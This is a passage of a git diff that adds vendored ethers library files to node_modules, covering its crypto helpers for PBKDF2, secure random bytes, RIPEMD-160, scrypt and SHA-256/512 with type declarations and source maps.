b/node_modules/ethers/lib.esm/crypto/pbkdf2.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"pbkdf2.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/pbkdf2.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAMH,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAWnD;;;;;;;;;;;;;;;;;;;GAmBG;AACH,wBAAgB,MAAM,CAAC,SAAS,EAAE,SAAS,EAAE,KAAK,EAAE,SAAS,EAAE,UAAU,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,IAAI,EAAE,QAAQ,GAAG,QAAQ,GAAG,MAAM,CAIpI;yBAJe,MAAM"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/pbkdf2.js b/node_modules/ethers/lib.esm/crypto/pbkdf2.js new file mode 100644 index 000000000000..be6178e1d191 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/pbkdf2.js @@ -0,0 +1,49 @@ +/** + * A **Password-Based Key-Derivation Function** is designed to create + * a sequence of bytes suitible as a **key** from a human-rememberable + * password. + * + * @_subsection: api/crypto:Passwords [about-pbkdf] + */ +import { pbkdf2Sync } from "./crypto.js"; +import { getBytes, hexlify } from "../utils/index.js"; +let locked = false; +const _pbkdf2 = function (password, salt, iterations, keylen, algo) { + return pbkdf2Sync(password, salt, iterations, keylen, algo); +}; +let __pbkdf2 = _pbkdf2; +/** + * Return the [[link-pbkdf2]] for %%keylen%% bytes for %%password%% using + * the %%salt%% and using %%iterations%% of %%algo%%. + * + * This PBKDF is outdated and should not be used in new projects, but is + * required to decrypt older files. + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the PBKDF2 + * pbkdf2(passwordBytes, salt, 1024, 16, "sha256") + * //_result: + */ +export function pbkdf2(_password, _salt, iterations, keylen, algo) { + const password = getBytes(_password, "password"); + const salt = getBytes(_salt, "salt"); + return hexlify(__pbkdf2(password, salt, iterations, keylen, algo)); +} +pbkdf2._ = _pbkdf2; +pbkdf2.lock = function () { locked = true; }; +pbkdf2.register = function (func) { + if (locked) { + throw new Error("pbkdf2 is locked"); + } + __pbkdf2 = func; +}; +Object.freeze(pbkdf2); +//# sourceMappingURL=pbkdf2.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/pbkdf2.js.map b/node_modules/ethers/lib.esm/crypto/pbkdf2.js.map new file mode 100644 index 000000000000..59df8bcac1f3 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/pbkdf2.js.map @@ -0,0 +1 @@ +{"version":3,"file":"pbkdf2.js","sourceRoot":"","sources":["../../src.ts/crypto/pbkdf2.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,OAAO,EAAE,UAAU,EAAE,MAAM,aAAa,CAAC;AAEzC,OAAO,EAAE,QAAQ,EAAE,OAAO,EAAE,MAAM,mBAAmB,CAAC;AAKtD,IAAI,MAAM,GAAG,KAAK,CAAC;AAEnB,MAAM,OAAO,GAAG,UAAS,QAAoB,EAAE,IAAgB,EAAE,UAAkB,EAAE,MAAc,EAAE,IAAyB;IAC1H,OAAO,UAAU,CAAC,QAAQ,EAAE,IAAI,EAAE,UAAU,EAAE,MAAM,EAAE,IAAI,CAAC,CAAC;AAChE,CAAC,CAAA;AAED,IAAI,QAAQ,GAAG,OAAO,CAAC;AAEvB;;;;;;;;;;;;;;;;;;;GAmBG;AACH,MAAM,UAAU,MAAM,CAAC,SAAoB,EAAE,KAAgB,EAAE,UAAkB,EAAE,MAAc,EAAE,IAAyB;IACxH,MAAM,QAAQ,GAAG,QAAQ,CAAC,SAAS,EAAE,UAAU,CAAC,CAAC;IACjD,MAAM,IAAI,GAAG,QAAQ,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IACrC,OAAO,OAAO,CAAC,QAAQ,CAAC,QAAQ,EAAE,IAAI,EAAE,UAAU,EAAE,MAAM,EAAE,IAAI,CAAC,CAAC,CAAC;AACvE,CAAC;AACD,MAAM,CAAC,CAAC,GAAG,OAAO,CAAC;AACnB,MAAM,CAAC,IAAI,GAAG,cAAmB,MAAM,GAAG,IAAI,CAAC,CAAC,CAAC,CAAA;AACjD,MAAM,CAAC,QAAQ,GAAG,UAAS,IAA0H;IACjJ,IAAI,MAAM,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,kBAAkB,CAAC,CAAC;KAAE;IACpD,QAAQ,GAAG,IAAI,CAAC;AACpB,CAAC,CAAA;AACD,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/random.d.ts b/node_modules/ethers/lib.esm/crypto/random.d.ts new file mode 100644 index 000000000000..fd93780007d6 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/random.d.ts @@ -0,0 +1,14 @@ +/** + * Return %%length%% bytes of cryptographically secure random data. + * + * @example: + * randomBytes(8) + * //_result: + */ +export declare function randomBytes(length: number): Uint8Array; +export declare namespace randomBytes { + var _: (length: number) => Uint8Array; + var lock: () => void; + var register: (func: (length: number) => Uint8Array) => void; +} +//# sourceMappingURL=random.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/random.d.ts.map b/node_modules/ethers/lib.esm/crypto/random.d.ts.map new file mode 100644 index 000000000000..a907fd7ef688 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/random.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"random.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/random.ts"],"names":[],"mappings":"AAkBA;;;;;;GAMG;AACH,wBAAgB,WAAW,CAAC,MAAM,EAAE,MAAM,GAAG,UAAU,CAEtD;yBAFe,WAAW"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/random.js b/node_modules/ethers/lib.esm/crypto/random.js new file mode 100644 index 000000000000..206a822f1d65 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/random.js @@ -0,0 +1,34 @@ +/** + * A **Cryptographically Secure Random Value** is one that has been + * generated with additional care take to prevent side-channels + * from allowing others to detect it and prevent others from through + * coincidence generate the same values. + * + * @_subsection: api/crypto:Random Values [about-crypto-random] + */ +import { randomBytes as crypto_random } from "./crypto.js"; +let locked = false; +const _randomBytes = function (length) { + return new Uint8Array(crypto_random(length)); +}; +let __randomBytes = _randomBytes; +/** + * Return %%length%% bytes of cryptographically secure random data. + * + * @example: + * randomBytes(8) + * //_result: + */ +export function randomBytes(length) { + return __randomBytes(length); +} +randomBytes._ = _randomBytes; +randomBytes.lock = function () { locked = true; }; +randomBytes.register = function (func) { + if (locked) { + throw new Error("randomBytes is locked"); + } + __randomBytes = func; +}; +Object.freeze(randomBytes); +//# sourceMappingURL=random.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/random.js.map b/node_modules/ethers/lib.esm/crypto/random.js.map new file mode 100644 index 000000000000..f857d174f694 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/random.js.map @@ -0,0 +1 @@ +{"version":3,"file":"random.js","sourceRoot":"","sources":["../../src.ts/crypto/random.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AACH,OAAO,EAAE,WAAW,IAAI,aAAa,EAAE,MAAM,aAAa,CAAC;AAE3D,IAAI,MAAM,GAAG,KAAK,CAAC;AAEnB,MAAM,YAAY,GAAG,UAAS,MAAc;IACxC,OAAO,IAAI,UAAU,CAAC,aAAa,CAAC,MAAM,CAAC,CAAC,CAAC;AACjD,CAAC,CAAA;AAED,IAAI,aAAa,GAAG,YAAY,CAAC;AAEjC;;;;;;GAMG;AACH,MAAM,UAAU,WAAW,CAAC,MAAc;IACtC,OAAO,aAAa,CAAC,MAAM,CAAC,CAAC;AACjC,CAAC;AAED,WAAW,CAAC,CAAC,GAAG,YAAY,CAAC;AAC7B,WAAW,CAAC,IAAI,GAAG,cAAmB,MAAM,GAAG,IAAI,CAAC,CAAC,CAAC,CAAA;AACtD,WAAW,CAAC,QAAQ,GAAG,UAAS,IAAoC;IAChE,IAAI,MAAM,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,uBAAuB,CAAC,CAAC;KAAE;IACzD,aAAa,GAAG,IAAI,CAAC;AACzB,CAAC,CAAA;AACD,MAAM,CAAC,MAAM,CAAC,WAAW,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/ripemd160.d.ts b/node_modules/ethers/lib.esm/crypto/ripemd160.d.ts new file mode 100644 index 000000000000..27b7b4a1c211 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/ripemd160.d.ts @@ -0,0 +1,25 @@ +import type { BytesLike } from "../utils/index.js"; +/** + * Compute the cryptographic RIPEMD-160 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * ripemd160("0x") + * //_result: + * + * ripemd160("0x1337") + * //_result: + * + * ripemd160(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + */ +export declare function ripemd160(_data: BytesLike): string; +export declare namespace ripemd160 { + var _: (data: Uint8Array) => Uint8Array; + var lock: () => void; + var register: (func: (data: Uint8Array) => BytesLike) => void; +} +//# sourceMappingURL=ripemd160.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/ripemd160.d.ts.map b/node_modules/ethers/lib.esm/crypto/ripemd160.d.ts.map new file mode 100644 index 000000000000..03f10806466e --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/ripemd160.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"ripemd160.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/ripemd160.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAWnD;;;;;;;;;;;;;;;;GAgBG;AACH,wBAAgB,SAAS,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM,CAGlD;yBAHe,SAAS"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/ripemd160.js b/node_modules/ethers/lib.esm/crypto/ripemd160.js new file mode 100644 index 000000000000..b305569ee769 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/ripemd160.js @@ -0,0 +1,38 @@ +import { ripemd160 as noble_ripemd160 } from "@noble/hashes/ripemd160"; +import { getBytes, hexlify } from "../utils/index.js"; +let locked = false; +const _ripemd160 = function (data) { + return noble_ripemd160(data); +}; +let __ripemd160 = _ripemd160; +/** + * Compute the cryptographic RIPEMD-160 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * ripemd160("0x") + * //_result: + * + * ripemd160("0x1337") + * //_result: + * + * ripemd160(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + */ +export function ripemd160(_data) { + const data = getBytes(_data, "data"); + return hexlify(__ripemd160(data)); +} +ripemd160._ = _ripemd160; +ripemd160.lock = function () { locked = true; }; +ripemd160.register = function (func) { + if (locked) { + throw new TypeError("ripemd160 is locked"); + } + __ripemd160 = func; +}; +Object.freeze(ripemd160); +//# sourceMappingURL=ripemd160.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/ripemd160.js.map b/node_modules/ethers/lib.esm/crypto/ripemd160.js.map new file mode 100644 index 000000000000..f9961fe3fc78 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/ripemd160.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ripemd160.js","sourceRoot":"","sources":["../../src.ts/crypto/ripemd160.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,IAAI,eAAe,EAAE,MAAM,yBAAyB,CAAC;AAEvE,OAAO,EAAE,QAAQ,EAAG,OAAO,EAAE,MAAM,mBAAmB,CAAC;AAKvD,IAAI,MAAM,GAAG,KAAK,CAAC;AAEnB,MAAM,UAAU,GAAG,UAAS,IAAgB;IACxC,OAAO,eAAe,CAAC,IAAI,CAAC,CAAC;AACjC,CAAC,CAAA;AAED,IAAI,WAAW,GAAoC,UAAU,CAAC;AAE9D;;;;;;;;;;;;;;;;GAgBG;AACH,MAAM,UAAU,SAAS,CAAC,KAAgB;IACtC,MAAM,IAAI,GAAG,QAAQ,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IACrC,OAAO,OAAO,CAAC,WAAW,CAAC,IAAI,CAAC,CAAC,CAAC;AACtC,CAAC;AACD,SAAS,CAAC,CAAC,GAAG,UAAU,CAAC;AACzB,SAAS,CAAC,IAAI,GAAG,cAAmB,MAAM,GAAG,IAAI,CAAC,CAAC,CAAC,CAAA;AACpD,SAAS,CAAC,QAAQ,GAAG,UAAS,IAAqC;IAC/D,IAAI,MAAM,EAAE;QAAE,MAAM,IAAI,SAAS,CAAC,qBAAqB,CAAC,CAAC;KAAE;IAC3D,WAAW,GAAG,IAAI,CAAC;AACvB,CAAC,CAAA;AACD,MAAM,CAAC,MAAM,CAAC,SAAS,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/scrypt.d.ts b/node_modules/ethers/lib.esm/crypto/scrypt.d.ts new file mode 100644 index 000000000000..b0e678f527cc --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/scrypt.d.ts @@ -0,0 +1,82 @@ +import type { BytesLike } from "../utils/index.js"; +/** + * A callback during long-running operations to update any + * UI or provide programatic access to the progress. + * + * The %%percent%% is a value between ``0`` and ``1``. + * + * @_docloc: api/crypto:Passwords + */ +export type ProgressCallback = (percent: number) => void; +/** + * The [[link-wiki-scrypt]] uses a memory and cpu hard method of + * derivation to increase the resource cost to brute-force a password + * for a given key. + * + * This means this algorithm is intentionally slow, and can be tuned to + * become slower. As computation and memory speed improve over time, + * increasing the difficulty maintains the cost of an attacker. + * + * For example, if a target time of 5 seconds is used, a legitimate user + * which knows their password requires only 5 seconds to unlock their + * account. A 6 character password has 68 billion possibilities, which + * would require an attacker to invest over 10,000 years of CPU time. This + * is of course a crude example (as password generally aren't random), + * but demonstrates to value of imposing large costs to decryption. + * + * For this reason, if building a UI which involved decrypting or + * encrypting datsa using scrypt, it is recommended to use a + * [[ProgressCallback]] (as event short periods can seem lik an eternity + * if the UI freezes). Including the phrase //"decrypting"// in the UI + * can also help, assuring the user their waiting is for a good reason. + * + * @_docloc: api/crypto:Passwords + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the scrypt + * scrypt(passwordBytes, salt, 1024, 8, 1, 16) + * //_result: + */ +export declare function scrypt(_passwd: BytesLike, _salt: BytesLike, N: number, r: number, p: number, dkLen: number, progress?: ProgressCallback): Promise; +export declare namespace scrypt { + var _: (passwd: Uint8Array, salt: Uint8Array, N: number, r: number, p: number, dkLen: number, onProgress?: ProgressCallback | undefined) => Promise; + var lock: () => void; + var register: (func: (passwd: Uint8Array, salt: Uint8Array, N: number, r: number, p: number, dkLen: number, progress?: ProgressCallback | undefined) => Promise) => void; +} +/** + * Provides a synchronous variant of [[scrypt]]. + * + * This will completely lock up and freeze the UI in a browser and will + * prevent any event loop from progressing. For this reason, it is + * preferred to use the [async variant](scrypt). + * + * @_docloc: api/crypto:Passwords + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the scrypt + * scryptSync(passwordBytes, salt, 1024, 8, 1, 16) + * //_result: + */ +export declare function scryptSync(_passwd: BytesLike, _salt: BytesLike, N: number, r: number, p: number, dkLen: number): string; +export declare namespace scryptSync { + var _: (passwd: Uint8Array, salt: Uint8Array, N: number, r: number, p: number, dkLen: number) => Uint8Array; + var lock: () => void; + var register: (func: (passwd: Uint8Array, salt: Uint8Array, N: number, r: number, p: number, dkLen: number) => BytesLike) => void; +} +//# sourceMappingURL=scrypt.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/scrypt.d.ts.map b/node_modules/ethers/lib.esm/crypto/scrypt.d.ts.map new file mode 100644 index 000000000000..af193f1a1c93 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/scrypt.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"scrypt.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/scrypt.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAEnD;;;;;;;GAOG;AACH,MAAM,MAAM,gBAAgB,GAAG,CAAC,OAAO,EAAE,MAAM,KAAK,IAAI,CAAC;AAgBzD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAoCG;AACH,wBAAsB,MAAM,CAAC,OAAO,EAAE,SAAS,EAAE,KAAK,EAAE,SAAS,EAAE,CAAC,EAAE,MAAM,EAAE,CAAC,EAAE,MAAM,EAAE,CAAC,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,EAAE,QAAQ,CAAC,EAAE,gBAAgB,GAAG,OAAO,CAAC,MAAM,CAAC,CAI/J;yBAJqB,MAAM;;;;;AAa5B;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,wBAAgB,UAAU,CAAC,OAAO,EAAE,SAAS,EAAE,KAAK,EAAE,SAAS,EAAE,CAAC,EAAE,MAAM,EAAE,CAAC,EAAE,MAAM,EAAE,CAAC,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,GAAG,MAAM,CAIvH;yBAJe,UAAU"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/scrypt.js b/node_modules/ethers/lib.esm/crypto/scrypt.js new file mode 100644 index 000000000000..61cad4036ffc --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/scrypt.js @@ -0,0 +1,99 @@ +import { scrypt as _nobleSync, scryptAsync as _nobleAsync } from "@noble/hashes/scrypt"; +import { getBytes, hexlify as H } from "../utils/index.js"; +let lockedSync = false, lockedAsync = false; +const _scryptAsync = async function (passwd, salt, N, r, p, dkLen, onProgress) { + return await _nobleAsync(passwd, salt, { N, r, p, dkLen, onProgress }); +}; +const _scryptSync = function (passwd, salt, N, r, p, dkLen) { + return _nobleSync(passwd, salt, { N, r, p, dkLen }); +}; +let __scryptAsync = _scryptAsync; +let __scryptSync = _scryptSync; +/** + * The [[link-wiki-scrypt]] uses a memory and cpu hard method of + * derivation to increase the resource cost to brute-force a password + * for a given key. + * + * This means this algorithm is intentionally slow, and can be tuned to + * become slower. As computation and memory speed improve over time, + * increasing the difficulty maintains the cost of an attacker. + * + * For example, if a target time of 5 seconds is used, a legitimate user + * which knows their password requires only 5 seconds to unlock their + * account. A 6 character password has 68 billion possibilities, which + * would require an attacker to invest over 10,000 years of CPU time. This + * is of course a crude example (as password generally aren't random), + * but demonstrates to value of imposing large costs to decryption. + * + * For this reason, if building a UI which involved decrypting or + * encrypting datsa using scrypt, it is recommended to use a + * [[ProgressCallback]] (as event short periods can seem lik an eternity + * if the UI freezes). Including the phrase //"decrypting"// in the UI + * can also help, assuring the user their waiting is for a good reason. + * + * @_docloc: api/crypto:Passwords + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the scrypt + * scrypt(passwordBytes, salt, 1024, 8, 1, 16) + * //_result: + */ +export async function scrypt(_passwd, _salt, N, r, p, dkLen, progress) { + const passwd = getBytes(_passwd, "passwd"); + const salt = getBytes(_salt, "salt"); + return H(await __scryptAsync(passwd, salt, N, r, p, dkLen, progress)); +} +scrypt._ = _scryptAsync; +scrypt.lock = function () { lockedAsync = true; }; +scrypt.register = function (func) { + if (lockedAsync) { + throw new Error("scrypt is locked"); + } + __scryptAsync = func; +}; +Object.freeze(scrypt); +/** + * Provides a synchronous variant of [[scrypt]]. + * + * This will completely lock up and freeze the UI in a browser and will + * prevent any event loop from progressing. For this reason, it is + * preferred to use the [async variant](scrypt). + * + * @_docloc: api/crypto:Passwords + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the scrypt + * scryptSync(passwordBytes, salt, 1024, 8, 1, 16) + * //_result: + */ +export function scryptSync(_passwd, _salt, N, r, p, dkLen) { + const passwd = getBytes(_passwd, "passwd"); + const salt = getBytes(_salt, "salt"); + return H(__scryptSync(passwd, salt, N, r, p, dkLen)); +} +scryptSync._ = _scryptSync; +scryptSync.lock = function () { lockedSync = true; }; +scryptSync.register = function (func) { + if (lockedSync) { + throw new Error("scryptSync is locked"); + } + __scryptSync = func; +}; +Object.freeze(scryptSync); +//# sourceMappingURL=scrypt.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/scrypt.js.map b/node_modules/ethers/lib.esm/crypto/scrypt.js.map new file mode 100644 index 000000000000..49df708ddaea --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/scrypt.js.map @@ -0,0 +1 @@ +{"version":3,"file":"scrypt.js","sourceRoot":"","sources":["../../src.ts/crypto/scrypt.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,IAAI,UAAU,EAAE,WAAW,IAAI,WAAW,EAAE,MAAM,sBAAsB,CAAC;AAExF,OAAO,EAAE,QAAQ,EAAE,OAAO,IAAI,CAAC,EAAE,MAAM,mBAAmB,CAAC;AAe3D,IAAI,UAAU,GAAG,KAAK,EAAE,WAAW,GAAG,KAAK,CAAC;AAE5C,MAAM,YAAY,GAAG,KAAK,WAAU,MAAkB,EAAE,IAAgB,EAAE,CAAS,EAAE,CAAS,EAAE,CAAS,EAAE,KAAa,EAAE,UAA6B;IACnJ,OAAO,MAAM,WAAW,CAAC,MAAM,EAAE,IAAI,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,KAAK,EAAE,UAAU,EAAE,CAAC,CAAC;AAC3E,CAAC,CAAA;AACD,MAAM,WAAW,GAAG,UAAS,MAAkB,EAAE,IAAgB,EAAE,CAAS,EAAE,CAAS,EAAE,CAAS,EAAE,KAAa;IAC7G,OAAO,UAAU,CAAC,MAAM,EAAE,IAAI,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,KAAK,EAAE,CAAC,CAAC;AACxD,CAAC,CAAA;AAED,IAAI,aAAa,GAAgJ,YAAY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,CAAC,CAAC,CAAC;AACzD,CAAC;AACD,UAAU,CAAC,CAAC,GAAG,WAAW,CAAC;AAC3B,UAAU,CAAC,IAAI,GAAG,cAAmB,UAAU,GAAG,IAAI,CAAC,CAAC,CAAC,CAAA;AACzD,UAAU,CAAC,QAAQ,GAAG,UAAS,IAAyG;IACpI,IAAI,UAAU,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,sBAAsB,CAAC,CAAC;KAAE;IAC5D,YAAY,GAAG,IAAI,CAAC;AACxB,CAAC,CAAA;AACD,MAAM,CAAC,MAAM,CAAC,UAAU,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/sha2.d.ts b/node_modules/ethers/lib.esm/crypto/sha2.d.ts new file mode 100644 index 000000000000..348ccdc7dd0d --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/sha2.d.ts @@ -0,0 +1,47 @@ +import type { BytesLike } from "../utils/index.js"; +/** + * Compute the cryptographic SHA2-256 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * sha256("0x") + * //_result: + * + * sha256("0x1337") + * //_result: + * + * sha256(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + */ +export declare function sha256(_data: BytesLike): string; +export declare namespace sha256 { + var _: (data: Uint8Array) => Uint8Array; + var lock: () => void; + var register: (func: (data: Uint8Array) => BytesLike) => void; +} +/** + * Compute the cryptographic SHA2-512 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * sha512("0x") + * //_result: + * + * sha512("0x1337") + * //_result: + * + * sha512(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + */ +export declare function sha512(_data: BytesLike): string; +export declare namespace sha512 { + var _: (data: Uint8Array) => Uint8Array; + var lock: () => void; + var register: (func: (data: Uint8Array) => BytesLike) => void; +} +//# sourceMappingURL=sha2.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/sha2.d.ts.map b/node_modules/ethers/lib.esm/crypto/sha2.d.ts.map new file mode 100644 index 000000000000..9e42678e2a8a --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/sha2.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"sha2.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/sha2.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAiBnD;;;;;;;;;;;;;;;;GAgBG;AACH,wBAAgB,MAAM,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM,CAG/C;yBAHe,MAAM;;;;;AAatB;;;;;;;;;;;;;;;GAeG;AACH,wBAAgB,MAAM,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM,CAG/C;yBAHe,MAAM"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/sha2.js b/node_modules/ethers/lib.esm/crypto/sha2.js new file mode 100644 index 000000000000..f84145b4e526 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/sha2.js @@ -0,0 +1,71 @@ +import { createHash } from "./crypto.js"; +import { getBytes, hexlify } from "../utils/index.js"; +const _sha256 = function (data) { + return createHash("sha256").update(data).digest(); +}; +const _sha512 = function (data) { + return createHash("sha512").update(data).digest(); +}; +let __sha256 = _sha256; +let __sha512 = _sha512; +let locked256 = false, locked512 = false; +/** + * Compute the cryptographic SHA2-256 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * sha256("0x") + * //_result: + * + * sha256("0x1337") + * //_result: + * + * sha256(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + */ +export function sha256(_data) { + const data = getBytes(_data, "data"); + return hexlify(__sha256(data)); +} +sha256._ = _sha256; +sha256.lock = function () { locked256 = true; }; +sha256.register = function (func) { + if (locked256) { + throw new Error("sha256 is locked"); + } + __sha256 = func; +}; +Object.freeze(sha256); +/** + * Compute the cryptographic SHA2-512 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * sha512("0x") + * //_result: + * + * sha512("0x1337") + * //_result: + * + * sha512(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + */ +export function sha512(_data) { + const data = getBytes(_data, "data"); + return hexlify(__sha512(data)); +} +sha512._ = _sha512; +sha512.lock = function () { locked512 = true; }; +sha512.register = function (func) { + if (locked512) { + throw new Error("sha512 is locked"); + } + __sha512 = func; +}; +Object.freeze(sha256); +//# sourceMappingURL=sha2.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/sha2.js.map b/node_modules/ethers/lib.esm/crypto/sha2.js.map new file mode 100644 index 000000000000..674e588954c9 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/sha2.js.map @@ -0,0 +1 @@ +{"version":3,"file":"sha2.js","sourceRoot":"","sources":["../../src.ts/crypto/sha2.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,UAAU,EAAE,MAAM,aAAa,CAAC;AAEzC,OAAO,EAAE,QAAQ,EAAE,OAAO,EAAE,MAAM,mBAAmB,CAAC;AAKtD,MAAM,OAAO,GAAG,UAAS,IAAgB;IACrC,OAAO,UAAU,CAAC,QAAQ,CAAC,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,MAAM,EAAE,CAAC;AACtD,CAAC,CAAA;AAED,MAAM,OAAO,GAAG,UAAS,IAAgB;IACrC,OAAO,UAAU,CAAC,QAAQ,CAAC,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,MAAM,EAAE,CAAC;AACtD,CAAC,CAAA;AAED,IAAI,QAAQ,GAAoC,OAAO,CAAC;AACxD,IAAI,QAAQ,GAAoC,OAAO,CAAC;AAExD,IAAI,SAAS,GAAG,KAAK,EAAE,SAAS,GAAG,KAAK,CAAC;AAGzC;;;;;;;;;;;;;;;;GAgBG;AACH,MAAM,UAAU,MAAM,CAAC,KAAgB;IACnC,MAAM,IAAI,GAAG,QAAQ,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IACrC,OAAO,OAAO,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC;AACnC,CAAC;AACD,MAAM,CAAC,CAAC,GAAG,OAAO,CAAC;AACnB,MAAM,CAAC,IAAI,GAAG,cAAmB,SAAS,GAAG,IAAI,CAAC,CAAC,CAAC,CAAA;AACpD,MAAM,CAAC,QAAQ,GAAG,UAAS,IAAqC;IAC5D,IAAI,SAAS,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,kBAAkB,CAAC,CAAC;KAAE;IACvD,QAAQ,GAAG,IAAI,CAAC;AACpB,CAAC,CAAA;AACD,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;AAGtB;;;;;;;;;;;;;;;GAeG;AACH,MAAM,UAAU,MAAM,CA